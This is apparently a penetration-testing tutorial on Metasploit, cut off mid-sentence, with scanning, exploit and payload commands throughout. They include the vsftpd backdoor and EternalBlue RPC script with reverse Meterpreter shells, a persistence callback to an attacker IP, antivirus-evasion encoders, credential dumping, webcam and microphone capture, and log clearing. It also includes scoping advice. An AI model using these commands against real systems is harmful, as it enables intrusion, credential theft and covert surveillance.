Metasploit Framework
Vibe Prompt
「Help me scan a target host for open ports and service versions using Metasploit.」
Basic Commands
# Start the Metasploit console
msfconsole
# TCP port scan auxiliary module
msf6 > use auxiliary/scanner/portscan/tcp
msf6 > set RHOSTS 10.0.0.1
msf6 > set PORTS 1-1000
msf6 > run
# Example exploit module for WordPress RCE
msf6 > use exploit/unix/webapp/wordpress_rce
msf6 > set RHOSTS target.com
msf6 > set PAYLOAD php/meterpreter/reverse_tcp
msf6 > set LHOST your-ip-address
msf6 > exploit
Frequently Used Modules
| Module | Purpose | |-------------------------------------|--------------------------------------------------------------------| | auxiliary/scanner/portscan/tcp | TCP port scanner | | auxiliary/scanner/http/wordpress_scanner | WordPress version and plugin enumeration | | auxiliary/scanner/ssl/openssl_heartbleed | Heartbleed vulnerability detection | | exploit/multi/handler | Generic listener for reverse shells | | post/multi/gather/ssh_creds | Harvest SSH credentials from compromised hosts | | post/windows/gather/credentials/credential_collector | Gather Windows credentials from LSASS, SAM, etc. | | exploit/linux/http/drupal_drupageddon2 | Drupalgeddon2 remote code execution exploit | | auxiliary/admin/http/redirect | Simple HTTP redirect module for phishing simulations |
What Is Metasploit?
Metasploit is an open‑source penetration testing framework that provides a unified interface for discovering, exploiting, and validating vulnerabilities across networks, applications, and devices. Its core components include:
- msfconsole – The interactive command‑line interface where all activities begin.
- Exploits – Code modules that take advantage of specific software flaws.
- Payloads – The code that runs on the target after a successful exploit (e.g., Meterpreter, shellcode).
- Encoders – Transform payloads to evade signature‑based detection.
- NOPS – No‑operation sleds used to increase reliability of exploit execution.
- Post‑exploitation modules – Perform actions after gaining access, such as credential dumping, privilege escalation, and data collection.
- Auxiliary modules – Scanners, fuzzers, and support tools that do not gain a shell but provide valuable intelligence.
Why Learn Metasploit? (Business Value & Financial Return)
- Time Efficiency – Rather than writing custom exploits from scratch, security teams can leverage over 2,000 vetted modules, reducing development cycles from days to minutes.
- Standardization – Metasploit is the de‑facto industry standard; reports, remediation tickets, and audit findings reference Metasploit module names, making cross‑team communication clearer.
- Cost Savings – Automating repetitive scanning and exploitation tasks lowers the billable hours required for a penetration test, allowing firms to deliver more assessments per engagement.
- Skill Transferability – Proficiency with Metasploit translates directly to roles such as Red Team Operator, Vulnerability Analyst, and SOC Engineer, which command salaries ranging from $90k to $150k+ in many markets.
- Risk Reduction – By identifying and validating weaknesses before attackers do, organizations can prioritize patching, thereby decreasing the likelihood of costly breaches (average breach cost > $4M per IBM 2023 report).
- Compliance Alignment – Many regulatory frameworks (PCI‑DSS, HIPAA, ISO 27001) require regular penetration testing; Metasploit provides auditable, repeatable test procedures that satisfy auditors.
How We Will Implement It – Vibe Coding Approach
Vibe Coding emphasizes rapid prototyping, iterative feedback, and clear separation of concerns. In this chapter we will:
- Explore the msfconsole environment – Learn navigation, help system, and workspace management.
- Run auxiliary scanners – Perform service discovery, version detection, and vulnerability checks.
- Select and configure exploits – Match exploit modules to target OS/service, set required options (RHOSTS, RPORT, etc.).
- Choose appropriate payloads – Understand staged vs. stageless payloads, Meterpreter capabilities, and reverse vs. bind shells.
- Apply encoders and NOP sleds – Bypass basic antivirus and increase reliability.
- Execute post‑exploitation – Gather hashes, dump secrets, pivot to internal networks.
- Automate repetitive tasks – Write resource scripts (.rc) and Python scripts that call the Metasploit RPC API.
- Integrate with external tools – Combine Nmap, Nessus, and OSINT frameworks for enriched reconnaissance.
- Document and report – Generate HTML/JSON reports via Metasploit’s built‑in reporting or custom scripts.
Each step will be accompanied by a Vibe Prompt that demonstrates how a developer could ask an AI pair‑programmer to generate the exact command or script needed, reinforcing the learn‑by‑doing mindset.
Deep Dive: msfconsole Navigation & Workspace Management
- Starting msfconsole:
msfconsolelaunches with a banner showing version and database status. - Help system:
helpor?lists core commands;show exploits,show payloads,show encoders,show auxiliary,show postdisplay available modules. - Searching:
search type:exploit platform:linux name:sshfilters modules by keywords. - Using a module:
use exploit/linux/ssh/ssh_double_keyloads the module into context. - Showing options:
show optionsdisplays required and optional parameters;setassigns values. - Running:
exploitorrun(for auxiliaries) launches the module. - Workspace:
workspace -a pentest2024creates a new workspace to keep loot, logs, and credentials separate per engagement. - Database: Metasploit uses PostgreSQL;
db_statusconfirms connectivity;db_nmap -sV -oA scan 10.0.0.0/24imports scan results directly. - Logging:
spool /tmp/msf.logcaptures all console output for later review.
Auxiliary Scanning in Detail
Port Scanning
use auxiliary/scanner/portscan/syn
set RHOSTS 10.0.0.0/24
set PORTS 22,80,443,3306
set THREADS 50
run
- SYN scan is stealthier than TCP connect; it sends SYN packets and waits for SYN‑ACK.
- Adjust
THREADSto balance speed vs. network noise. - Results appear in the console and are stored in the database under
services.
Service & Version Detection
use auxiliary/scanner/http/http_version
set RHOSTS 10.0.0.10
set RPORT 8080
run
- Retrieves server header, powered‑by technologies, and can hint at outdated components.
Vulnerability Specific Scanners
- Heartbleed:
auxiliary/scanner/ssl/openssl_heartbleed - SMB version:
auxiliary/scanner/smb/smb_version - MySQL authentication bypass:
auxiliary/scanner/mysql/mysql_version
Each scanner sets relevant options (e.g., SSL, SMBSHARE) and outputs a clear “Vulnerable” or “Safe” flag.
Exploit Selection & Configuration
Matching Exploit to Target
- Identify service via scanning (e.g.,
vsftpd 2.3.4). - Search:
search vsftpd→ yieldsexploit/unix/ftp/vsftpd_234_backdoor. - Check requirements:
show optionsmay requireRHOSTSonly. - Set payload:
set PAYLOAD cmd/unix/interactfor a simple command shell, orset PAYLOAD linux/x86/meterpreter/reverse_tcpfor Meterpreter.
Example: Exploiting vsftpd 2.3.4 Backdoor
use exploit/unix/ftp/vsftpd_234_backdoor
set RHOSTS 10.0.0.15
set PAYLOAD cmd/unix/interact
exploit
- This module triggers a backdoor that listens on port 6200 and spawns a shell.
- After gaining a shell, you can upgrade to Meterpreter via
sessions -u 1.
Payload Deep Dive
Staged vs. Stageless
- Stageless (e.g.,
windows/shell/reverse_tcp) sends the entire payload in one go; larger size may be blocked by IDS. - Staged (e.g.,
windows/meterpreter/reverse_tcp) sends a small stub first, which then downloads the full Meterpreter stage; reduces chance of detection.
Meterpreter Capabilities
- File system:
ls,cd,download,upload - Process:
ps,migrate,kill - Network:
portfwd,run autoroute - Privilege escalation:
getsystem,bypassuac - Information gathering:
hashdump,enum_logged_on_users,screenshot - Persistence:
run persistence -X -i 5 -p 3000 -r <attacker_ip>creates a scheduled task or service.
Choosing LHOST/LPORt
- Ensure the attacker IP is reachable from the target (no firewall blocking).
- Commonly use ports 443 or 80 to blend with HTTPS/HTTP traffic.
- If NAT is involved, set up port forwarding or use a reverse HTTP/S payload (
windows/meterpreter/reverse_http).
Encoders & Evasion Techniques
Why Encode?
Antivirus signatures often flag raw shellcode. Encoding obscures the payload while preserving functionality.
Common Encoders
| Encoder | Description | |-----------------------|-----------------------------------------------| | x86/shikata_ga_nai | Polymorphic XOR additive feedback encoder (default) | | x86/call4_dword_xor | Uses CALL instruction to avoid null bytes | | x86/fnstenv_mov | Uses FPU environment storage technique | | cmd/powershell_base64 | Base64‑encodes PowerShell scripts |
Usage Example
set ENCODED true
set Encoder x86/shikata_ga_nai
set EnableStageEncoding true
- Metasploit will automatically apply the encoder before sending the payload.
- For advanced evasion, combine with
encryptandinjecttechniques or use custom shellcode loaders.
Post‑Exploitation Modules
Credential Harvesting
- Windows:
post/windows/gather/credentials/credential_collectorpulls hashes from LSASS, SAM, SECURITY. - Linux:
post/linux/gather/hashdumpreads/etc/shadowif root. - SSH Keys:
post/multi/gather/ssh_credssearches forid_rsa,id_dsafiles.
Privilege Escalation
- Windows:
post/windows/escalate/getsystemattempts multiple techniques (named pipe impersonation, token kidnapping). - Linux:
post/linux/escalate/exploit_suidlooks for SUID binaries with known exploits.
Lateral Movement & Pivoting
run autoroute -s 10.10.10.0/24
run autoroute -p
- Adds a route through the compromised host to reach internal subnets.
- Combine with
socks4aorsocks5auxiliary modules to proxy traffic.
Data Exfiltration
- Use
downloadto pull files. - Use
webcam_snaporscreenshotfor visual intelligence. - Use
record_micfor audio capture (if applicable).
Automating Metasploit with Resource Scripts & RPC
Resource Scripts (.rc)
A plain‑text file containing msfconsole commands, executed with -r.
# scan.rc
use auxiliary/scanner/portscan/tcp
set RHOSTS 10.0.0.0/24
set PORTS 1-1024
set THREADS 100
run
Execute: msfconsole -r scan.rc
Metasploit RPC API
Allows external programs (Python, Ruby, Bash) to interact programmatically.
import pymetasploit3.msfrpc as msfrpc
client = msfrpc.Msfrpc({'password': 'secret'})
client.login('msf', 'secret')
console = client.consoles.console()
console.write('use exploit/windows/smb/ms17_010_eternalblue\n')
console.write('set RHOSTS 10.0.0.20\n')
console.write('set PAYLOAD windows/x64/meterpreter/reverse_tcp\n')
console.write('set LHOST 192.168.56.1\n')
console.write('exploit\n')
- Enables CI/CD pipelines to launch automated penetration tests nightly.
- Results can be parsed and fed into ticketing systems (Jira, ServiceNow).
Integrating Nmap & OSINT
Nmap Import
db_nmap -sS -sV -O -oA external_scan 203.0.113.0/24
- The
-oAsaves output in all formats; Metasploit automatically parses the XML and populates thehostsandservicestables.
OSINT Enrichment
| Tool | What It Adds | |---------------|------------------------------------------------| | theHarvester | Email addresses, subdomains, employee names | | Shodan | Internet‑facing device banners, vulnerabilities | | Censys | Certificate transparency data, host metadata | | Recon-ng | Modular framework for passive reconnaissance | | Maltego | Graph‑based link analysis of entities |
You can feed OSINT results into Metasploit via custom auxiliary modules or by manually setting RHOSTS based on discovered assets.
Best Practices & Common Pitfalls
Do’s
- Always work in a scoped engagement – Obtain written permission before scanning or exploiting.
- Use a dedicated lab – Isolate testing from production networks (e.g., using VirtualBox, VMware, or cloud sandboxes).
- Update regularly –
msfupdatepulls the latest exploit database and fixes. - Leverage workspaces – Keeps loot, logs, and credentials separated per client or test.
- Document every step – Use
spooland resource scripts to produce an auditable trail. - Validate findings – Manually confirm that a reported vulnerability is exploitable before marking it as critical.
Don’ts
- Don’t run aggressive scans against production – Can cause denial‑of‑service or trigger IR alerts.
- Don’t rely solely on automated exploits – Manual verification reduces false positives.
- Don’t ignore antivirus/EDR – Test payloads against target defenses; consider using
evadeorbypassmodules. - Don’t leave sessions open – Clean up with
sessions -K <id>to avoid leaving backdoors. - Don’t neglect post‑exploitation cleanup – Remove uploaded scripts, clear event logs if permitted by scope.
Advanced Techniques
Custom Exploit Development
- Write a Ruby module under `modules